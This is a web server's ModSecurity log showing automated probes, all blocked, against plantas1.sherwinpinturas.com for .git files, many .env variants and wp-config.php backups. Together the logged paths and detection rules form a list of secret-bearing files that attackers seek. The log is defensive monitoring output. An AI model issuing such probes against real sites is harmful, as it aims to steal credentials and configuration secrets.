[Sun Oct 25 21:08:18.207941 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.214.148:11779] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6oAiC9gidsUAz5qdCHtAAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.208224 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.214.148:11779] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6oAiC9gidsUAz5qdCHtAAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.208526 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.214.148:11779] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6oAiC9gidsUAz5qdCHtAAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.244085 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:62583] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6oAjWREDnPJfZ18QDWJgAAABs"]
[Sun Oct 25 21:08:18.244334 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:62583] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6oAjWREDnPJfZ18QDWJgAAABs"]
[Sun Oct 25 21:08:18.244607 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:62583] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6oAjWREDnPJfZ18QDWJgAAABs"]
[Sun Oct 25 21:08:18.244655 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:57948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6oAhaKu-Zjs56a5J4rggAAAAo"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.244854 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:57948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6oAhaKu-Zjs56a5J4rggAAAAo"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.245076 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:57948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at6oAhaKu-Zjs56a5J4rggAAAAo"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.449387 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.246.148:13813] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6oAkokKmMLT537ELOlDAAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.449680 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.246.148:13813] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6oAkokKmMLT537ELOlDAAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.449982 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.246.148:13813] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6oAkokKmMLT537ELOlDAAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.455254 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.214.148:57654] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6oArmcfM3Hi8DaXo--CAAAAAc"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.455469 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.214.148:57654] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6oArmcfM3Hi8DaXo--CAAAAAc"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.455720 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.214.148:57654] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6oArmcfM3Hi8DaXo--CAAAAAc"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.494161 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.246.147:21484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6oAkSqfK4XdeD_8RxocQAAAAM"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.494417 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.246.147:21484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6oAkSqfK4XdeD_8RxocQAAAAM"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:18.494724 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.246.147:21484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6oAkSqfK4XdeD_8RxocQAAAAM"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.903884 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.214.148:23144] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "at6oBTWREDnPJfZ18QDWJwAAABs"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.904141 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.214.148:23144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "at6oBTWREDnPJfZ18QDWJwAAABs"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.904417 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.214.148:23144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "at6oBTWREDnPJfZ18QDWJwAAABs"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.968165 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.214.147:17409] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at6oBUokKmMLT537ELOlDQAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.968471 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.214.147:17409] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at6oBUokKmMLT537ELOlDQAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:21.968755 2026] [security2:error] [pid 2934397:tid 2934397] [client 104.28.214.147:17409] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wp-config.php"] [unique_id "at6oBUokKmMLT537ELOlDQAAAAg"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.301565 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.246.148:56429] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at6oCbmcfM3Hi8DaXo--CgAAAAc"]
[Sun Oct 25 21:08:25.301734 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.246.147:13608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at6oCSC9gidsUAz5qdCHtwAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.301799 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.246.148:56429] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at6oCbmcfM3Hi8DaXo--CgAAAAc"]
[Sun Oct 25 21:08:25.301925 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.246.147:13608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at6oCSC9gidsUAz5qdCHtwAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.302032 2026] [security2:error] [pid 2932351:tid 2932351] [client 104.28.246.148:56429] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at6oCbmcfM3Hi8DaXo--CgAAAAc"]
[Sun Oct 25 21:08:25.302170 2026] [security2:error] [pid 2922333:tid 2922333] [client 104.28.246.147:13608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at6oCSC9gidsUAz5qdCHtwAAAC8"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.367628 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.214.147:61925] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at6oCUSqfK4XdeD_8RxocwAAAAM"]
[Sun Oct 25 21:08:25.367853 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.214.147:61925] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at6oCUSqfK4XdeD_8RxocwAAAAM"]
[Sun Oct 25 21:08:25.368107 2026] [security2:error] [pid 2930805:tid 2930805] [client 104.28.214.147:61925] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at6oCUSqfK4XdeD_8RxocwAAAAM"]
[Sun Oct 25 21:08:25.374220 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:22181] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at6oCRaKu-Zjs56a5J4rhAAAAAo"]
[Sun Oct 25 21:08:25.374437 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:22181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at6oCRaKu-Zjs56a5J4rhAAAAAo"]
[Sun Oct 25 21:08:25.374670 2026] [security2:error] [pid 2925278:tid 2925278] [client 104.28.246.147:22181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at6oCRaKu-Zjs56a5J4rhAAAAAo"]
[Sun Oct 25 21:08:25.503071 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:26927] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at6oCTWREDnPJfZ18QDWKQAAABs"]
